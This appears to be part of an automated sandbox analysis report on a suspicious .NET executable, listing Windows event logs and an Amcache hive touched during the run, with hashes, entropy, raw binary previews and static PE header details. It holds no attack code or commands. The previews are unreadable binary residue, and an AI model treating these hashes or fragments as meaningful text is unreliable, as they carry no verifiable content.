C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	85048
Entropy (8bit):	4.50237734622881
Encrypted:	false
SSDEEP:	384:2/MtY3MtYYMRYriMRYHMRYhfhEKKeKSrlKvKe2KrK6KPMchYCMtY3MtYYMRYriMn:2ZfuWrN5xh9AaBDuWrNobHH
MD5:	34ABBE13552D9CC1D166D45B051119A6
SHA1:	88E870D4ECB53B6A0BBCC5E03F97E8797CE1BE9A
SHA-256:	63895472B8FD7ED67870809E3FEEDB1D3796D53582C3E9550F32E59FC09FC524
SHA-512:	634CEF8E2D975BE183470F123E3D4FC4755E3B51EC20AC298916701CBB0D53C78B82D1E2CE7874A2DD2B9F8571621BDF06F7677DBC46E74A81BB689471988DED
Malicious:	false
Preview:	ElfChnk.33......?3......33......?3..........@(.....m........................................................................Wd................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&.......................K.............................................................;3........z7a...........E!&.......................................................................F...9.!...A.A.............z7a......`...9..`...........;3...................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.t.o.r.e..7...\..C.....M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.t.o.r.e./.O.p.e.r.a.t.i.o.n.a.l......................I.......S.k.i.p.p.i.n.g. .l.i.c.e.n.s.e. .m.a.n.a.g.e.r.:. .P.F.N. .M.i.c.r.o.s.o.f.t...W.i.n.d.o.w.s.A.l.a.r.m.s._.1.0...1.9.0.6...2.1.8.2...0._.x.6.4

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 15, DIRTY
Category:	dropped
Size (bytes):	79024
Entropy (8bit):	1.8245847671674706
Encrypted:	false
SSDEEP:	384:yBhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmIUmxjUmLUmSUUShL6UsE0ZG:qY7LRqSY7LRq
MD5:	1408CC66C29A577F12E51C0D54738341
SHA1:	D9E528D783272827AB0E6F14E5E35EABE7303500
SHA-256:	2F463EEB4FC1FB46D60D11C8E5C4CC59B82EA6C128E7E972A2F5C1EC72FA661E
SHA-512:	254EF2EA8DAB94AE9B7F8260481C4EB7C1889A09D0D01573AE794398E7F50B93B9BBE1A174194750D19809B11632D49DFB64430CF5941CB94C5AD1702399630A
Malicious:	false
Preview:	ElfFile.....................................................................................................................\>.eElfChnk......................................1..04..M.L......................................................................B.................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&......................................................................................................................*..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67784
Entropy (8bit):	0.3676609228742155
Encrypted:	false
SSDEEP:	48:MBWJrP+yQNRBEZWTENO4bhBkcoyQ/6zkkBWJrP+yQNRBEZWTENO4bhBkcoyQ/6zk:WNVaO8Mcor/6zkkPNVaO8Mcor/6zk
MD5:	17009332CF4B3ECB9906C7344368E36F
SHA1:	38B820AE6727D6BCA751F6B35B962030BA75BDEC
SHA-256:	929282B2BD0465056225B9A39BD63912416E5A274214CA218AF4C0F1DC401502
SHA-512:	BEC969114FB7B73B1ACAD7894B94193FB3BC12C3F3B1A598FEC727DB840FB95E0BF530BEA4423B6947BBE6A714A8058F9DC464D99A1B78257F51CCBECE3B8AC8
Malicious:	false
Preview:	ElfChnk.............................................p.M.......................................................................G................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...............................................................................**................t7a...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.0934111022900845
Encrypted:	false
SSDEEP:	384:phjivnniDiiuXieuietio0i7riTKhiIViOhin5ibaifiWipiUiKijiTVijiHiBRY:pon6ufC/hCI4MWs8PM9QSp
MD5:	C03DC232AFCDF6316B6CC7D1D5266423
SHA1:	8B90D640BB1B09E8C61117DE6B00B93CB1FE69A0
SHA-256:	198FDBBBC7444C323E7DBFB5B6D5B6AB870587FE7B740A05C22C6821B0508D16
SHA-512:	192E77738FC7A6493DFA22C5A56EA01E4A502219756578AE772C4FB0A1074617A21523D1029C6C9DDF15798D0968A0C14C8B723EAB0B91BD01F9967540C04DE9
Malicious:	false
Preview:	ElfChnk.y...............y....................x...z..D.......................................................................Hu...................#..a.......................=.......................#...................................................................................................f...............?................'......P.......................M...F....................................................................@...................#..................................w#.......'..............**......y........`0.Y...........g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Time-Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	100392
Entropy (8bit):	2.907042076053727
Encrypted:	false
SSDEEP:	768:uHshamoZqP+INFaQGshamoZqP+INFaQegz:uMhYE7NBBhYE7NBegz
MD5:	BE86FBEB673EDA53950280478DA31B2F
SHA1:	0899F7D9BCEBCAF5EFF8023ED7B02975BAF9F1E9
SHA-256:	37DD319C062C85240EABF4DFA881E296C0D5558DD6AF9CBEB68C2E9A79DCE0B8
SHA-512:	11A5C3C60DE46697FB86DF66AE52DE3257634B154195B30C57BB00474A124DBBE01E2DEA2A466912F1C53D9F4BCDB21D6FB55473A957B66795233CE93CDAF8C7
Malicious:	false
Preview:	ElfChnk......................................k...m..q'..........................................................................................6...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................y...........&........0...........%..........................a!..........!F..........................................r............E!.0..............................................................<.......T...A.!................@..r.......`...Z...`................................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.T.i.m.e.-.S.e.r.v.i.c.e.......SN.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.T.i.m.e.-.S.e.r.v.i.c.e./.O.p.e.r.a.t.i.o.n.a.l....%....................................................._................x..............r............E!.0....................................

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87888
Entropy (8bit):	3.620301573920391
Encrypted:	false
SSDEEP:	768:naDaXaXanabaTanaDavahVaTavanafazavaza/afaXarava/afaLazanafafa8f0:iF
MD5:	B9343A3B22E1D7F931AFB7A3F611AAD8
SHA1:	DF7ADEFECB837E36F1489EEB8ACAB0ACC4D76660
SHA-256:	6A1EDBEBBE7A67D8CA3F3246C83B0EB84382A09B8DE246C6FD3FCB032A8B8289
SHA-512:	D836F35D820B47C582AB191752E41E41E8CA6F3D64C38D31BACAC1A9ED904BF488490CF3708C8B9D31C30029AD8CBC544BC4B0D6314964F93EC5D6B411A6D8D8
Malicious:	false
Preview:	ElfChnk.........@...............@...............h.....1......................................................................o5.................h...........................=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...........................................A...................................*......#..........6a...........E!&...............................................................P.......h...C.!....................6a...`.j.......i............#........................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.U.A.C.-.F.i.l.e.V.i.r.t.u.a.l.i.z.a.t.i.o.n.+..N.ID.v...W^.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.U.A.C.-.F.i.l.e.V.i.r.t.u.a.l.i.z.a.t.i.o.n./.O.p.e.r.a.t.i.o.n.a.l...7..{A.......................r.......~...........................$.N......9.\.D.e.v.i

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4157482482643835
Encrypted:	false
SSDEEP:	384:8haXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJgXJRpXJBgXJQXJBvXJnXJSc:8Q0yUkNYwD8imLEoRfBoYb5GO
MD5:	A886E83D1948FFB2BF4A2B744DDCCBD3
SHA1:	0074C53E8984FB0024DE0485447D3E1081B34D0B
SHA-256:	6DD70CE24E770699A142E13D62B090F64E00CD0A8501FC2D31E0ED5F9DFAB004
SHA-512:	3263F89608AEB4140553E587A3946E352391DAAC7DF85ABF0358A39B45103655DAE1DE29616A71142C4BB42FD1C0273F3E3B2F6900CCDE672F36ADBB3F7629D1
Malicious:	false
Preview:	ElfChnk......................................D...G..B.f......................................................................0.................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&........3..................................................C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.342266575776689
Encrypted:	false
SSDEEP:	384:Chbm8mJmAwmsmkmtmZjm9mEJmSmSgmMmJmyFmgmPm4mOmdm9mHbkmzm7m6mBmdmv:CA74DcxI1c8PF
MD5:	302AE7C3FB3FBC33D19DBFB4CA97D867
SHA1:	86165BE8A181F1DE44CC86F75E36890C0379AB94
SHA-256:	1183791BE47DD2268E48827BC2B2F8D2F50C6265AF23904E15E35A8A4715B3DB
SHA-512:	AEE86973AE3C7844DF4EAA3406ECCF1AD59EF458F1623A35B84246B26C83229441B76C64A2502D2F9EF298DAF450D0069C6180A99B041A1D2B9DAD57B6F8A816
Malicious:	false
Preview:	ElfChnk......................................6..P8...P\<........................................................................................R.......................z...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...........;...........+.......................................................**...............21.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.711346426112008
Encrypted:	false
SSDEEP:	192:7V7rDiDxFYzDiDPDiDfDiDDDiDxDiDUDiDgDiDsDiDQDiDEDiDYDiDEDiD:7hr2ts2T2z2n2N2w202w2M2Y2E2I2
MD5:	F911674F42FFA9096A39B15D79861134
SHA1:	14C46673DAB47906E3693ABC048CD0C2FADBECB6
SHA-256:	1668A045EF7528D741AAD61574F673D564D9BC7831A57FB6CD4A4D25C3FCA4B5
SHA-512:	2341C1145DCD1E714D0A16CFE517CCD8F0BF6F94A45882A4142B2D90B27A1ACD4F4508AF7E49A52B0B0F2E418EEC461EF2CBB0463D48CC48E08E6880A617B442
Malicious:	false
Preview:	ElfChnk................................................(....................................................................4.KU................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F...............................-...................................&...............................................................................**..............IL..`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WER-PayloadHealth%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 12, DIRTY
Category:	modified
Size (bytes):	69632
Entropy (8bit):	1.280764959338057
Encrypted:	false
SSDEEP:	768:YBEpP9JcY6+g4+Ga6oK6xIb13xIb13xIt13xI:YSpP9JcY6+g4+Ga6
MD5:	C8FCA63C61F0E6CD434363A4CBDFD2CC
SHA1:	743C9873E8480617F3DF3ADC8B788E7585E58339
SHA-256:	E7301A66D316399F9FC4F0B324858FE054CA52E541B8C0D1A588F6E9BECDC649
SHA-512:	3FA59744D9E831A82F0862A21B76C35FB14848FEF360AF76BFCB7CE8EB130D7A6C8129C3093A982D401A9C6408F6871567D58A8F9BD57C9CC0DA821EAC093A0B
Malicious:	false
Preview:	ElfFile.....................................................................................................................[...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67240
Entropy (8bit):	3.847206680706363
Encrypted:	false
SSDEEP:	384:cqR5HBh7RucVRDRbR2R3RgRxR5RrGRRrRuRVRERfRzRwRQRoRTyDR6RQR36RMGRk:c0BNzUhK32
MD5:	0718DF1A2F5F0D1C247B6895C8F52BE0
SHA1:	F70884DAA8349236B9A9DDFF3EF9546CB00347B2
SHA-256:	4217E04C60222BD78ACF5B9DE47194A760643EBEC8FA1ADCBFC6C050E9627927
SHA-512:	C06868BC9A555849441AD730378F739785A1688F0A386591F15392DC2165A7D7E4188E0E0EED161B6E00D378DAFC7ACF6BC726095491FBCB4A0CA687F37F0093
Malicious:	false
Preview:	ElfChnk.:.......v.......:.......v...................%.n&........................................................................................................F.......\|...=.......................................`.......................u...-......................................................f...b..........?.......................`.......A.......G.......M...F.......................................................................................&...........9.......9.......................................**......v........5p...........^..&...............................................................<.......T...J.!................@.5p.......`...Z...`.......P...v....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l....s..9...0....s...q.\......&./.......A..#...`...........O.p.e.r.a.t.i.o.n._.T.e.m.p.o.r.a.r.y.E.s.s.S.t.a.r.t.e.d...o....j.....3.h.t.t.p.:././.m

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.260359446709512
Encrypted:	false
SSDEEP:	384:fhRhwhdhP0h9hzehShchawhZh4hhhshphihXhMhxhzhwhohGh5h3hShChWhzhLh4:fmFpkBzBiELmn
MD5:	067AD5BE5D9DAC2F9972EA7CCD899B43
SHA1:	EDD013A75A95D510CCEBA7DF86938621FA17E518
SHA-256:	EE5349F31C79D30F8AB2023451ECC640BD33C7F038ED6951D0F9FF2FE82BA0E7
SHA-512:	F2E20C281CD6E14FBDDCE8C89055CF5BC6A3C79E5D65037B269B11F2500E750A15998C9A29365F7D5903E4CF568EA45026E9F340A0318C212E8AD936EA2B3F65
Malicious:	false
Preview:	ElfChnk.........................................`...........................................................................3i._........................................@...=...........................................................................................................................f...............?...........................m...................M...F...........................................i.......................&.......................................................y.......................**................9.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2594795605878295
Encrypted:	false
SSDEEP:	384:LhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVHV7Vj0V1VXFVq:LyjbPac
MD5:	33C02B19501869BF7DF6F6BF1D2E6BF6
SHA1:	D90AF4BD50FE734A1E74ACC4E0704FEE1346F8D4
SHA-256:	6453729FD9D539566FC7AA3CE013B958C237E0E713AA917444F453C02A96F3BB
SHA-512:	B4D4A162E59651477CE87DE756F9DBD7634A206CA7FA83CA61DD73F86CAE343083AFF067A981DE096AAB1AE6997E599397E4851648800B2BCDAA6E5BAC0797A8
Malicious:	false
Preview:	ElfChnk........."..............."...........h8...9....?......................................................................Z..................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v.......&..............................................................................*..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.22241882767171
Encrypted:	false
SSDEEP:	384:vohcBwBuBwB+BwBZwDIBwBoK/oyBwBY/puBwBN0bNoBwByQZBwBY/UUBwBY/5BwP:QI0bRnHrL
MD5:	60A8B4D89584BE18E3AC4252B06003FD
SHA1:	DB4BC767023047C6700A5121901A0A187EEBACBC
SHA-256:	F4BC9BD72BA8C12A82E279F0EA4F8E8986C4C43289B47662E8B9837FC76F4C28
SHA-512:	716AF5AA5BA1BEADC9C984A0F7C3318A1E299F5C88FC8A2A25CE78C196CED99620C4F54DB4A813326287CF0B07BFC521E250108C998AD857C9693DA9B997AA29
Malicious:	false
Preview:	ElfChnk.....................................H;..x>..+.I.......................................................................t............................................=...........................................................................................................................f...............?...........................m...................M...F...........................o.......................................&...............................................................................**..(...............`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.423183909657457
Encrypted:	false
SSDEEP:	384:/hGUEBUEYUEQUEhUE8UE5UE5UE8UExUEFUELUEVUEyUEXUEDUEuDUEBUEWUEzUE3:/P7s3NxG9
MD5:	718C0E7FA4C2A524A5FF961FEB987C13
SHA1:	73CB0C09C67332548F50613AA349E12695C715A2
SHA-256:	461F7778DD38ABE30403674C9E34EFF22F91AB7D4C207FB8CD2C4B31773588CC
SHA-512:	6A7705597D00B2193F3ECD79CDCD4B6D97DA36B879ECBC2E5F8EA3A8B77D9FA301B14E68BBB9ACBBF72B695DC83E66493F3C4D1DD94B1FC9D0E4ABA787BD853B
Malicious:	false
Preview:	ElfChnk.....................................0`...a.....r........................................................................................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................................A.......................**.................`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	48112
Entropy (8bit):	4.475149764335128
Encrypted:	false
SSDEEP:	384:sFR0BM2s7NVoGMtUH6uoxMtJoLVfIoHzopYo9xoHEopxo9hoHxopxPWBXSoQKNBO:aA0NHLcZH9/M1qQ
MD5:	11E1EEF7DA5F564D33EA6C1A60AAA427
SHA1:	F9C130589F8A2239756991289C161134B6FEB765
SHA-256:	0BDE4AF03EA231681014BD2A9D730B46563AD4780305712433FD2C8A9EE4B2DA
SHA-512:	55CEEFE63377CF46BC9AD4727F2A0258F488240A493FDE866E29F1488E7E3B11E6BD614326E63E389895875EEC9A89E0B997DE589B91043471BAD1D649341948
Malicious:	false
Preview:	ElfChnk.................(.......:...........pH...M../.@.................................................................................!.......z...s...h...................=...................................................N...............................................w.......<.......................5...................................c...........).......M...Z...:....................8......C?..S...............................V....................................................................I...#......**..0...(........j.q...........<.@&........<.@.o.S....../.G.......A..;...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....d...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	82176
Entropy (8bit):	4.417316116559936
Encrypted:	false
SSDEEP:	384:ZFRXnVWBwB3+AFRXnVWBwB3+wtLzfrEdI74mjo6bPwtrQMUU5963XRs+5dXNlZn1:zESEuGi0tJaN3HpRAtFzELQ4
MD5:	DE68791DB4CE60CB197725337EFE6596
SHA1:	C7F5BBC3E92F7135240F4734EAC411F5202F64C0
SHA-256:	5A5BDAB8F0F1F0FB044BA4E5EA1936640646CE7E5BB0FB4BB8F2818C322E3B8A
SHA-512:	E31EAD28D43B4F9BFF66005AC0466825C70E98A9E9C0B6339E0448EA63A1D6C7776ED5FD34BACDC163BCF6F1A18B0EA29119CB343402B2BDA3B6A96908A793BA
Malicious:	false
Preview:	ElfChnk.........................................x....=(.......................................................................f.....................s...h...................=...................................................N...............................................w.......8.......................M..................................._...........).......M...;...:...........................................................q...v...........................................&.......................&...........**..P............j.q...........v..&........v..Tr].4....E.C.......A..7...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....`...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416700353481133
Encrypted:	false
SSDEEP:	6144:Vcifpi6ceLPL9skLmb0mKSWSPtaJG8nAgex285i2MMhA20X4WABlGuNU5+:yi58KSWIZBk2MM6AFBuo
MD5:	472932025148C60D26B2EF3B9646DFFD
SHA1:	7F49BDF1B8F7485767E6EF64CDDED4A58D928F88
SHA-256:	0899DA1642F33DEDD985251D82829F1394628D5315C247AF5C10E4F7CF1EF68E
SHA-512:	7D0D74A4F7CC13B4DA282700FEEB3EDBBB0AB335099E1A5BCC2F0F59046E945B7902B564EB31108998BA5AF12ADF1D48EE660760683C8F9A6F5DB0AF63B416DF
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...u..................................................................................................................................................................................................................................................................................................................................................A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.641008170456594
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	r8k29DBraE.exe
File size:	571'904 bytes
MD5:	dc50baff9f1bab10f1ebc24e0d77afc3
SHA1:	29f4429939e57666b8a57c2d7b95a4801fa7ca20
SHA256:	03c95970bb3d91530aa29f9199ac1b2d7082672909e9c1a30804f99ebc9643b7
SHA512:	6249ae2e738515d2f453310ad8e9730334997796477f88f0e1a72086154b0348b07da7c651b835f8e8b84ac43452fd0d87b5c40400d8a9a6297e802ae045a152
SSDEEP:	6144:mujuIGjAOphSW579i8fB106f91hYC1l+W8GSAZ2nxKdn3wGK570:LRaAODHVrB/lDH8gZhdAY
TLSH:	10C4AD143268FA73D45D7ABDC802F65007746E113ED2D5B639787BBE1E32ADB46032A2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S._..........."...0.............n.... ... ....@.. ....................................`................................

File Icon


Icon Hash:	17294d52534d5270

Static PE Info

General

Entrypoint:	0x431c6e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xDB5F1B53 [Sat Aug 17 17:20:19 2086 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
